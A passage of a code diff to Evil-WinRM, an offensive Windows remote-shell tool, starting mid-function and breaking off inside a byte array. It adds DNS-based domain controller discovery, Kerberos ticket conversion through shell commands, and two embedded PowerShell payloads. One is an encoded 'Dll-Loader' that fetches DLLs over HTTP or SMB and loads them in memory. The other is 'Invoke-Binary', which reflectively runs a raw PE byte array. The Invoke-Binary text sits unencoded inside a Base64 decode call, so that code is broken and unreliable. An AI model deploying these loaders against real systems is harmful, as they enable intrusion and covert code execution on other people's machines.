+        ptr_records.each do |ptr|
+          hostname = ptr.name.to_s
+          if hostname && hostname.include?('.')
+            hostnames << hostname unless hostnames.include?(hostname)
+          end
+        end
+      rescue Resolv::ResolvError, Resolv::ResolvTimeout
+        # If Resolv::DNS fails, try Resolv.getname as fallback
+        begin
+          hostname = Resolv.getname(ip_address)
+          if hostname && hostname.include?('.')
+            hostnames << hostname unless hostnames.include?(hostname)
+          end
+        rescue Resolv::ResolvError
+          # Continue to Socket fallback
+        end
+      end
+
+      # If no results from Resolv, try Socket.getnameinfo
+      if hostnames.empty?
+        begin
+          hostname = Socket.getnameinfo([Socket::AF_INET, nil, ip_address], Socket::NI_NAMEREQD)[0]
+          if hostname && hostname.include?('.')
+            hostnames << hostname unless hostnames.include?(hostname)
+          end
+        rescue SocketError
+          # All methods failed
+        end
+      end
+
+      # Step 2: If we only got the domain name, try to find the server FQDN
+      # Remove duplicates before checking
+      hostnames.uniq!
+
+      # Only do this if we don't already have a server FQDN (3+ parts) from /etc/hosts or DNS
+      has_server_fqdn = hostnames.any? { |h| h.split('.').length >= 3 }
+      domain_only = hostnames.find { |h| h.split('.').length == 2 }
+
+      # Only attempt forward DNS lookup if:
+      # 1. We don't already have a server FQDN
+      # 2. We have a domain-only result
+      # 3. We have a realm to work with
+      if !has_server_fqdn && domain_only && realm
+        # Try common DC hostname patterns
+        domain = domain_only.downcase
+        realm_domain = realm.downcase
+
+        # Common DC naming patterns
+        candidates = [
+          "dc01.#{domain}",
+          "dc1.#{domain}",
+          "dc.#{domain}",
+          "dc01.#{realm_domain}",
+          "dc1.#{realm_domain}",
+          "dc.#{realm_domain}",
+          "ad.#{domain}",
+          "ad.#{realm_domain}",
+          "ad01.#{domain}",
+          "ad01.#{realm_domain}"
+        ]
+
+        # Remove duplicates from candidates (in case we already have it)
+        candidates.reject! { |c| hostnames.include?(c) }
+
+        # Verify each candidate with forward DNS lookup
+        candidates.each do |candidate|
+          begin
+            addresses = resolver.getaddresses(candidate)
+            # Check if any of the resolved addresses match our IP
+            if addresses.any? { |addr| addr.to_s == ip_address }
+              hostnames << candidate unless hostnames.include?(candidate)
+              print_message("Found server FQDN via forward DNS lookup: #{candidate}", TYPE_INFO, true, $logger)
+              # Stop after finding first valid server FQDN
+              break
+            end
+          rescue Resolv::ResolvError
+            # This candidate doesn't resolve, skip it
+          end
+        end
+      end
+
+      return nil if hostnames.empty?
+
+      # Step 3: Select the best FQDN
+      # If we have multiple results, prioritize the server FQDN over domain name
+      if hostnames.length > 1
+        # Sort by: more dots first, then by length (longer = more specific)
+        sorted = hostnames.sort_by { |h| [-h.count('.'), -h.length] }
+
+        # Prefer hostnames that look like server names (have a hostname prefix before the domain)
+        # e.g., "dc01.futuristic.tech" over "futuristic.tech"
+        best = sorted.find { |h| h.split('.').length >= 3 } || sorted.first
+
+        print_message("Multiple DNS names found: #{hostnames.join(', ')}. Selected: #{best}", TYPE_INFO, true, $logger)
+        return best
+      else
+        result = hostnames.first
+        # If we only have domain, warn the user
+        if result.split('.').length == 2
+          print_message("Only domain name found (#{result}). Server FQDN not detected. Kerberos may still work.", TYPE_WARNING, true, $logger)
+        end
+        return result
+      end
+    rescue => e
+      # Any other error
+      return nil
+    end
+  end
+
+  # Check if a string is an IP address
+  def is_ip_address?(str)
+    # Match IPv4 address pattern
+    ipv4_pattern = /^(\d{1,3}\.){3}\d{1,3}$/
+    return true if str.match?(ipv4_pattern)
+
+    # Match IPv6 address pattern (simplified)
+    ipv6_pattern = /^([0-9a-fA-F]{0,4}:){2,7}[0-9a-fA-F]{0,4}$/
+    return true if str.match?(ipv6_pattern)
+
+    false
+  end
+
+  # Detect ticket file type (kirbi or ccache)
+  def detect_ticket_type(file_path)
+    # Check by extension first
+    ext = File.extname(file_path).downcase
+    return :kirbi if ext == '.kirbi'
+    return :ccache if ext == '.ccache'
+
+    # If no extension or unknown, try to detect by file content
+    # Kirbi files typically start with specific ASN.1 structures
+    # CCache files have a different structure
+    begin
+      first_bytes = File.binread(file_path, 4)
+      # Kirbi files often start with specific ASN.1 tags
+      # This is a heuristic - not 100% reliable but works for most cases
+      if first_bytes[0] == 0x76 || first_bytes[0] == 0x6a || first_bytes[0] == 0x61
+        return :kirbi
+      end
+      # CCache files have a different structure
+      return :ccache
+    rescue => e
+      # If we can't read, default to ccache
+      return :ccache
+    end
+  end
+
+  # Convert kirbi ticket to ccache format
+  def convert_kirbi_to_ccache(kirbi_path)
+    # Validate input file first
+    expanded_kirbi = File.expand_path(kirbi_path)
+
+    unless File.exist?(expanded_kirbi)
+      print_message("Kirbi ticket file not found: #{expanded_kirbi}", TYPE_ERROR, true, $logger)
+      custom_exit(1, false)
+    end
+
+    unless File.readable?(expanded_kirbi)
+      print_message("Kirbi ticket file is not readable: #{expanded_kirbi}", TYPE_ERROR, true, $logger)
+      custom_exit(1, false)
+    end
+
+    # Check if file is not empty
+    if File.size(expanded_kirbi) == 0
+      print_message("Kirbi ticket file is empty: #{expanded_kirbi}", TYPE_ERROR, true, $logger)
+      custom_exit(1, false)
+    end
+
+    # Generate output path (same directory, change extension)
+    output_dir = File.dirname(expanded_kirbi)
+    output_name = File.basename(expanded_kirbi, '.kirbi') + '.ccache'
+    ccache_path = File.join(output_dir, output_name)
+
+    # Try to find ticket converter (multiple possible names)
+    converter_names = [
+      'ticket_converter.py',
+      'impacket-ticketConverter',
+      'impacket-ticketConverter.py',
+      'ticketConverter.py',
+      'ticketConverter'
+    ]
+
+    converter_paths = []
+
+    # Check in PATH for each name
+    converter_names.each do |name|
+      cmd = `which #{name} 2>/dev/null`.strip
+      converter_paths << cmd unless cmd.empty?
+    end
+
+    # Also check common installation paths
+    converter_names.each do |name|
+      converter_paths << name  # Current directory
+      converter_paths << "/usr/local/bin/#{name}"
+      converter_paths << "/usr/bin/#{name}"
+      converter_paths << File.join(Dir.home, '.local', 'bin', name)
+      converter_paths << File.join(Dir.home, name)
+    end
+
+    # Remove duplicates and empty strings
+    converter_paths.uniq!
+    converter_paths.reject!(&:empty?)
+
+    converter_found = nil
+    converter_paths.each do |path|
+      if File.exist?(path) && File.executable?(path)
+        converter_found = path
+        break
+      end
+    end
+
+    unless converter_found
+      print_message("Ticket converter not found. Please install one of: ticket_converter.py, impacket-ticketConverter, or impacket-ticketConverter.py.", TYPE_ERROR, true, $logger)
+      print_message("Sources: https://github.com/Zer1t0/ticket_converter or https://github.com/SecureAuthCorp/impacket", TYPE_INFO, true, $logger)
+      custom_exit(1, false)
+    end
+
+    # Check if it's a Python script or shell script
+    is_python = false
+    begin
+      first_line = File.readlines(converter_found).first
+      if first_line
+        # Check for Python shebang
+        if first_line.match?(/^#!.*python/)
+          is_python = true
+        # Check for shell shebang (bash, sh, etc.) - if it's shell, it's not Python
+        elsif first_line.match?(/^#!.*\/(bin\/)?(bash|sh|zsh)/)
+          is_python = false
+        # Check extension
+        elsif File.extname(converter_found) == '.py'
+          is_python = true
+        end
+      elsif File.extname(converter_found) == '.py'
+        is_python = true
+      end
+    rescue => e
+      # If we can't read, check extension or assume it's executable and try directly
+      is_python = (File.extname(converter_found) == '.py')
+    end
+
+    if is_python
+      # It's a Python script, need to run with python/python3
+      python_cmd = nil
+      ['python3', 'python'].each do |py|
+        if system("which #{py} > /dev/null 2>&1")
+          python_cmd = py
+          break
+        end
+      end
+
+      unless python_cmd
+        print_message("Python not found. Please install Python 3 to convert kirbi tickets.", TYPE_ERROR, true, $logger)
+        custom_exit(1, false)
+      end
+
+      cmd = "#{python_cmd} #{converter_found} #{expanded_kirbi} #{ccache_path} 2>&1"
+    else
+      # It's a shell script or executable, run it directly
+      cmd = "#{converter_found} #{expanded_kirbi} #{ccache_path} 2>&1"
+    end
+
+    # Run conversion
+    print_message("Converting kirbi ticket to ccache format...", TYPE_INFO, true, $logger)
+    result = `#{cmd}`
+
+    unless $?.success?
+      # Parse error output to provide a clearer message
+      error_lines = result.split("\n")
+
+      # Check for common Python errors
+      if result.include?('ModuleNotFoundError') || result.include?('No module named')
+        module_match = result.match(/No module named ['"]([^'"]+)['"]/)
+        module_name = module_match ? module_match[1] : 'unknown'
+        if module_name == 'impacket'
+          print_message("The ticket converter requires impacket module which is not installed.", TYPE_ERROR, true, $logger)
+          print_message("Please install it with: pip3 install impacket", TYPE_INFO, true, $logger)
+          custom_exit(1, false)
+        else
+          print_message("The ticket converter requires Python module '#{module_name}' which is not installed.", TYPE_ERROR, true, $logger)
+          print_message("Please install required dependencies.", TYPE_INFO, true, $logger)
+          custom_exit(1, false)
+        end
+      elsif result.include?('ImportError')
+        print_message("The ticket converter has import errors. Please ensure all required Python dependencies are installed.", TYPE_ERROR, true, $logger)
+        print_message("For impacket scripts, run: pip3 install impacket", TYPE_INFO, true, $logger)
+        custom_exit(1, false)
+      elsif result.include?('Permission denied') || result.match?(/permission denied/i)
+        print_message("Permission denied when executing ticket converter. Please check file permissions: #{converter_found}", TYPE_ERROR, true, $logger)
+        custom_exit(1, false)
+      else
+        # Extract the most relevant error message (usually the last non-empty line)
+        error_msg = error_lines.reverse.find { |line| !line.strip.empty? && !line.strip.match?(/^Traceback|File "/) }
+        error_msg ||= error_lines.last || result.strip
+        error_msg = error_msg.strip
+
+        # Limit error message length
+        error_msg = error_msg[0..200] + '...' if error_msg.length > 200
+
+        print_message("Failed to convert kirbi to ccache using #{File.basename(converter_found)}.", TYPE_ERROR, true, $logger)
+        print_message("Error: #{error_msg}", TYPE_ERROR, true, $logger)
+        custom_exit(1, false)
+      end
+    end
+
+    unless File.exist?(ccache_path)
+      print_message("Conversion completed but output file not found: #{ccache_path}", TYPE_ERROR, true, $logger)
+      custom_exit(1, false)
+    end
+
+    print_message("[+] Successfully converted to: #{ccache_path}", TYPE_SUCCESS, true, $logger)
+    ccache_path
+  end
+
+  # Main function
+  def main
+    arguments
+    if has_llm_params
+      begin
+        require "langchain"
+
+        Langchain.logger.level = $llm_log_level
+
+        print_message("Evil-WinRM - Experimental - AI LLM support enabled", TYPE_WARNING, true)
+        initialize_llm_connection
+      rescue StandardError => e
+        print_message("LLM error: #{e}.\nPlease refer to the --help option to find the required parameters for using LLM", TYPE_ERROR, true)
+        custom_exit(130)
+      end
+    end
+    print_header
+    connection_initialization
+    file_manager = WinRM::FS::FileManager.new($conn)
+    completion_check
+
+    # Log check
+    print_message("Logging Enabled. Log file: #{$filepath}", TYPE_WARNING, true) unless $log.nil?
+
+    # SSL checks
+    check_ssl($pub_key, $priv_key)
+
+    # Kerberos checks
+    if !$user.nil? && !$realm.nil?
+      print_message('User is not needed for Kerberos auth. Ticket will be used', TYPE_WARNING, true, $logger)
+    end
+
+    if !$password.nil? && !$realm.nil?
+      print_message('Password is not needed for Kerberos auth. Ticket will be used', TYPE_WARNING, true, $logger)
+    end
+
+    if $realm.nil? && !$service.nil?
+      print_message('Useless spn provided, only used for Kerberos auth', TYPE_WARNING, true, $logger)
+    end
+
+    # Kerberos checks
+    if !$ccache_file.nil? && $realm.nil?
+      print_message("Realm (-r) is required when using ccache file (-K)", TYPE_ERROR, true, $logger)
+      custom_exit(1, false)
+    end
+
+    unless $scripts_path.nil?
+      check_directories($scripts_path, 'scripts')
+      @functions = read_scripts($scripts_path)
+      silent_warnings do
+        $LIST = $LIST + @functions
+      end
+    end
+
+    unless $executables_path.nil?
+      check_directories($executables_path, 'executables')
+      @executables = read_executables($executables_path)
+    end
+    dllloader = Base64.decode64('ZnVuY3Rpb24gRGxsLUxvYWRlciB7CiAgICBwYXJhbShbc3dpdGNoXSRzbWIsIFtzd2l0Y2hdJGxvY2FsLCBbc3dpdGNoXSRodHRwLCBbc3RyaW5nXSRwYXRoKQoKICAgICRoZWxwPUAiCi5TWU5PUFNJUwogICAgZGxsIGxvYWRlci4KICAgIFBvd2VyU2hlbGwgRnVuY3Rpb246IERsbC1Mb2FkZXIKICAgIEF1dGhvcjogSGVjdG9yIGRlIEFybWFzICgzdjRTaTBOKQoKICAgIFJlcXVpcmVkIGRlcGVuZGVuY2llczogTm9uZQogICAgT3B0aW9uYWwgZGVwZW5kZW5jaWVzOiBOb25lCi5ERVNDUklQVElPTgogICAgLgouRVhBTVBMRQogICAgRGxsLUxvYWRlciAtc21iIC1wYXRoIFxcMTkyLjE2OC4xMzkuMTMyXFxzaGFyZVxcbXlEbGwuZGxsCiAgICBEbGwtTG9hZGVyIC1sb2NhbCAtcGF0aCBDOlxVc2Vyc1xQZXBpdG9cRGVza3RvcFxteURsbC5kbGwKICAgIERsbC1Mb2FkZXIgLWh0dHAgLXBhdGggaHR0cDovL2V4YW1wbGUuY29tL215RGxsLmRsbAoKICAgIERlc2NyaXB0aW9uCiAgICAtLS0tLS0tLS0tLQogICAgRnVuY3Rpb24gdGhhdCBsb2FkcyBhbiBhcmJpdHJhcnkgZGxsCiJACgogICAgaWYgKCgkc21iIC1lcSAkZmFsc2UgLWFuZCAkbG9jYWwgLWVxICRmYWxzZSAtYW5kICRodHRwIC1lcSAkZmFsc2UpIC1vciAoJHBhdGggLWVxICIiIC1vciAkcGF0aCAtZXEgJG51bGwpKQogICAgewogICAgICAgIHdyaXRlLWhvc3QgIiRoZWxwYG4iCiAgICB9CiAgICBlbHNlCiAgICB7CgogICAgICAgIGlmICgkaHR0cCkKICAgICAgICB7CiAgICAgICAgICAgIFdyaXRlLUhvc3QgIlsrXSBSZWFkaW5nIGRsbCBieSBIVFRQIgogICAgICAgICAgICAkd2ViY2xpZW50ID0gW05ldC5XZWJDbGllbnRdOjpuZXcoKQogICAgICAgICAgICAkZGxsID0gJHdlYmNsaWVudC5Eb3dubG9hZERhdGEoJHBhdGgpCiAgICAgICAgfQogICAgICAgIGVsc2UKICAgICAgICB7CiAgICAgICAgICAgIGlmKCRzbWIpeyBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgYnkgU01CIiB9CiAgICAgICAgICAgIGVsc2UgeyBXcml0ZS1Ib3N0ICJbK10gUmVhZGluZyBkbGwgbG9jYWxseSIgfQoKICAgICAgICAgICAgJGRsbCA9IFtTeXN0ZW0uSU8uRmlsZV06OlJlYWRBbGxCeXRlcygkcGF0aCkKICAgICAgICB9CiAgICAgICAgCgogICAgICAgIGlmICgkZGxsIC1uZSAkbnVsbCkKICAgICAgICB7CiAgICAgICAgICAgIFdyaXRlLUhvc3QgIlsrXSBMb2FkaW5nIGRsbC4uLiIKICAgICAgICAgICAgJGFzc2VtYmx5X2xvYWRlZCA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJGRsbCkKICAgICAgICAgICAgJG9iaiA9ICgoJGFzc2VtYmx5X2xvYWRlZC5HZXRFeHBvcnRlZFR5cGVzKCkgfCBTZWxlY3QtT2JqZWN0IERlY2xhcmVkTWV0aG9kcyApLkRlY2xhcmVkTWV0aG9kcyB8IFdoZXJlLU9iamVjdCB7JF8uaXNwdWJsaWMgLWVxICR0cnVlfSB8IFNlbGVjdC1PYmplY3QgRGVjbGFyaW5nVHlwZSxuYW1lIC1VbmlxdWUgLUVycm9yQWN0aW9uIFNpbGVudGx5Q29udGludWUgKQogICAgICAgICAgICBbYXJyYXldJG1ldGhvZHMgPSBmb3JlYWNoICgkYXNzZW1ibHlwcm9wZXJ0aWVzIGluICRvYmopIHsgJG5hbWVzcGFjZSA9ICRhc3NlbWJseXByb3BlcnRpZXMuRGVjbGFyaW5nVHlwZS50b3N0cmluZygpOyAkbWV0b2RvID0gJGFzc2VtYmx5cHJvcGVydGllcy5uYW1lLnRvc3RyaW5nKCk7ICJbIiArICRuYW1lc3BhY2UgKyAiXSIgKyAiOjoiICsgJG1ldG9kbyArICIoKSIgfQogICAgICAgICAgICAkbWV0aG9kcyA9ICRtZXRob2RzIHwgU2VsZWN0LU9iamVjdCAtVW5pcXVlIDsgJGdsb2JhbDpzaG93bWV0aG9kcyA9ICAgKCRtZXRob2RzfCB3aGVyZSB7ICRnbG9iYWw6c2hvd21ldGhvZHMgIC1ub3Rjb250YWlucyAkX30pIHwgZm9yZWFjaCB7IiRfYG4ifQogICAgICAgICAgICAKICAgICAgICB9CiAgICB9Cn0=')
+    invokeBin = Base64.decode64('function Invoke-Binary {param($arg)
    $help=@"
.SYNOPSIS
    Execute binaries from memory.
    PowerShell Function: Invoke-Binary
    Author: Luis Vacas (CyberVaca)

    Required dependencies: None
    Optional dependencies: None
.DESCRIPTION
    
.EXAMPLE
    Invoke-Binary /opt/csharp/Watson.exe
    Invoke-Binary /opt/csharp/Binary.exe param1,param2,param3
    Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
    Description
    -----------
    Function that execute binaries from memory.


"@
if ($arg -eq $null) {$help} else {
[Reflection.Assembly]::Load([byte[]]@(77, 90, 144, 0, 3, 0, 0, 0, 4, 0, 0, 0, 255, 255, 0, 0, 184, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 14, 31, 186, 14, 0, 180, 9, 205, 33, 184, 1, 76, 205, 33, 84, 104, 105, 115, 32, 112, 114, 111, 103, 114, 97, 109, 32, 99, 97, 110, 110, 111, 116, 32, 98, 101, 32, 114, 117, 110, 32, 105, 110, 32, 68, 79, 83, 32, 109, 111, 100, 101, 46, 13, 13, 10, 36, 0, 0, 0, 0, 0, 0, 0, 80, 69, 0, 0, 76, 1, 3, 0, 245, 182, 231, 92, 0, 0, 0, 0, 0, 0, 0, 0, 224, 0, 2, 33, 11, 1, 11, 0, 0, 10, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 94, 41, 0, 0, 0, 32, 0, 0, 0, 64, 0, 0, 0, 0, 0, 16, 0, 32, 0, 0, 0, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 6, 0, 0, 0, 0, 0, 0, 0, 0, 128, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 3, 0, 96, 133, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 16, 0, 0, 16, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 41, 0, 0, 79, 0, 0, 0, 0, 64, 0, 0, 40, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 96, 0, 0, 12, 0, 0, 0, 212, 39, 0, 0, 28, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 8, 32, 0, 0, 72, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 46, 116, 101, 120, 116, 0, 0, 0, 100, 9, 0, 0, 0, 32, 0, 0, 0, 10, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32, 0, 0, 96, 46, 114, 115, 114, 99, 0, 0, 0, 40, 3, 0, 0, 0, 64, 0, 0, 0, 4, 0, 0, 0, 12, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 64, 46, 114, 101, 108, 111, 99, 0, 0, 12, 0, 0, 0, 0, 96, 0, 0, 0, 2, 0, 0, 0, 16, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 0, 0, 66, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 64, 41, 0, 0, 0, 0, 0, 0, 72, 0, 0, 0, 2, 0, 5, 0, 196, 32, 0, 0, 16, 7, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 19, 48, 6, 0, 104, 0, 0, 0, 1, 0, 0, 17, 0, 115, 15, 0, 0, 10, 10, 6, 40, 16, 0, 0, 10, 0, 6, 40, 17, 0, 0, 10, 0, 2, 22, 154, 111, 18, 0, 0, 10, 11, 7, 40, 19, 0, 0, 10, 12, 8, 40, 20, 0, 0, 10, 13, 9, 111, 21, 0, 0, 10, 19, 4, 17, 4, 20, 23, 141, 1, 0, 0, 1, 19, 7, 17, 7, 22, 2, 23, 40, 1, 0, 0, 43, 40, 2, 0, 0, 43, 162, 17, 7, 111, 24, 0, 0, 10, 38, 6, 111, 18, 0, 0, 10, 19, 5, 17, 5, 19, 6, 43, 0, 17, 6, 42, 66, 83, 74, 66, 1, 0, 1, 0, 0, 0, 0, 0, 12, 0, 0, 0, 118, 52, 46, 48, 46, 51, 48, 51, 49, 57, 0, 0, 0, 0, 5, 0, 108, 0, 0, 0, 56, 2, 0, 0, 35, 126, 0, 0, 164, 2, 0, 0, 68, 3, 0, 0, 35, 83, 116, 114, 105, 110, 103, 115, 0, 0, 0, 0, 232, 5, 0, 0, 8, 0, 0, 0, 35, 85, 83, 0, 240, 5, 0, 0, 16, 0, 0, 0, 35, 71, 85, 73, 68, 0, 0, 0, 0, 6, 0, 0, 16, 1, 0, 0, 35, 66, 108, 111, 98, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 1, 71, 21, 2, 0, 9, 8, 0, 0, 0, 250, 37, 51, 0, 22, 0, 0, 1, 0, 0, 0, 25, 0, 0, 0, 2, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 24, 0, 0, 0, 12, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 10, 0, 1, 0, 0, 0, 0, 0, 6, 0, 55, 0, 48, 0, 6, 0, 101, 0, 75, 0, 6, 0, 150, 0, 132, 0, 6, 0, 173, 0, 132, 0, 6, 0, 202, 0, 132, 0, 6, 0, 233, 0, 132, 0, 6, 0, 2, 1, 132, 0, 6, 0, 27, 1, 132, 0, 6, 0, 54, 1, 132, 0, 6, 0, 81, 1, 132, 0, 6, 0, 137, 1, 106, 1, 6, 0, 157, 1, 132, 0, 6, 0, 201, 1, 182, 1, 55, 0, 221, 1, 0, 0, 6, 0, 12, 2, 236, 1, 6, 0, 44, 2, 236, 1, 6, 0, 92, 2, 82, 2, 6, 0, 105, 2, 48, 0, 6, 0, 113, 2, 82, 2, 6, 0, 149, 2, 48, 0, 6, 0, 174, 2, 132, 0, 6, 0, 188, 2, 132, 0, 10, 0, 238, 2, 226, 2, 6, 0, 20, 3, 249, 2, 6, 0, 47, 3, 132, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 129, 1, 16, 0, 22, 0, 31, 0, 5, 0, 1, 0, 1, 0, 80, 32, 0, 0, 0, 0, 150, 0, 62, 0, 10, 0, 1, 0, 0, 0, 1, 0, 70, 0, 17, 0, 126, 0, 16, 0, 25, 0, 126, 0, 16, 0, 33, 0, 126, 0, 16, 0, 41, 0, 126, 0, 16, 0, 49, 0, 126, 0, 16, 0, 57, 0, 126, 0, 16, 0, 65, 0, 126, 0, 16, 0, 73, 0, 126, 0, 16, 0, 81, 0, 126, 0, 16, 0, 89, 0, 126, 0, 21, 0, 97, 0, 126, 0, 16, 0, 105, 0, 126, 0, 26, 0, 121, 0, 126, 0, 32, 0, 129, 0, 126, 0, 37, 0, 137, 0, 126, 0, 37, 0, 145, 0, 124, 2, 41, 0, 145, 0, 131, 2, 41, 0, 9, 0, 140, 2, 47, 0, 161, 0, 157, 2, 51, 0, 169, 0, 183, 2, 57, 0, 169, 0, 199, 2, 64, 0, 185, 0, 34, 3, 69, 0, 185, 0, 39, 3, 90, 0, 201, 0, 58, 3, 103, 0, 46, 0, 11, 0, 126, 0, 46, 0, 19, 0, 182, 0, 46, 0, 27, 0, 195, 0, 46, 0, 35, 0, 195, 0, 46, 0, 43, 0, 195, 0, 46, 0, 51, 0, 182, 0, 46, 0, 59, 0, 201, 0, 46, 0, 67, 0, 195, 0, 46, 0, 83, 0, 195, 0, 46, 0, 99, 0, 221, 0, 46, 0, 107, 0, 230, 0, 46, 0, 115, 0, 239, 0, 110, 0, 4, 128, 0, 0, 1, 0, 0, 0, 171, 27, 130, 72, 0, 0, 0, 0, 0, 0, 74, 2, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 39, 0, 0, 0, 0, 0, 4, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 214, 2, 0, 0, 0, 0, 45, 0, 86, 0, 47, 0, 86, 0, 0, 0, 0, 0, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 99, 97, 98, 101, 115, 104, 97, 46, 100, 108, 108, 0, 73, 110, 106, 101, 99, 116, 111, 114, 0, 67, 97, 98, 101, 115, 104, 97, 0, 109, 115, 99, 111, 114, 108, 105, 98, 0, 83, 121, 115, 116, 101, 109, 0, 79, 98, 106, 101, 99, 116, 0, 69, 120, 101, 99, 117, 116, 101, 0, 97, 114, 103, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115, 105, 111, 110, 105, 110, 103, 0, 84, 97, 114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 46, 99, 116, 111, 114, 0, 83, 121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114, 97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 112, 121, 114, 105, 103, 104, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 84, 114, 97, 100, 101, 109, 97, 114, 107, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 117, 108, 116, 117, 114, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 86, 105, 115, 105, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 83, 121, 115, 116, 101, 109, 46, 68, 105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101, 115, 0, 67, 111, 109, 112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110, 115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112, 97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 99, 97, 98, 101, 115, 104, 97, 0, 83, 121, 115, 116, 101, 109, 46, 73, 79, 0, 83, 116, 114, 105, 110, 103, 87, 114, 105, 116, 101, 114, 0, 67, 111, 110, 115, 111, 108, 101, 0, 84, 101, 120, 116, 87, 114, 105, 116, 101, 114, 0, 83, 101, 116, 79, 117, 116, 0, 83, 101, 116, 69, 114, 114, 111, 114, 0, 84, 111, 83, 116, 114, 105, 110, 103, 0, 67, 111, 110, 118, 101, 114, 116, 0, 70, 114, 111, 109, 66, 97, 115, 101, 54, 52, 83, 116, 114, 105, 110, 103, 0, 65, 115, 115, 101, 109, 98, 108, 121, 0, 76, 111, 97, 100, 0, 77, 101, 116, 104, 111, 100, 73, 110, 102, 111, 0, 103, 101, 116, 95, 69, 110, 116, 114, 121, 80, 111, 105, 110, 116, 0, 83, 121, 115, 116, 101, 109, 46, 67, 111, 114, 101, 0, 83, 121, 115, 116, 101, 109, 46, 76, 105, 110, 113, 0, 69, 110, 117, 109, 101, 114, 97, 98, 108, 101, 0, 83, 121, 115, 116, 101, 109, 46, 67, 111, 108, 108, 101, 99, 116, 105, 111, 110, 115, 46, 71, 101, 110, 101, 114, 105, 99, 0, 73, 69, 110, 117, 109, 101, 114, 97, 98, 108, 101, 96, 49, 0, 83, 107, 105, 112, 0, 84, 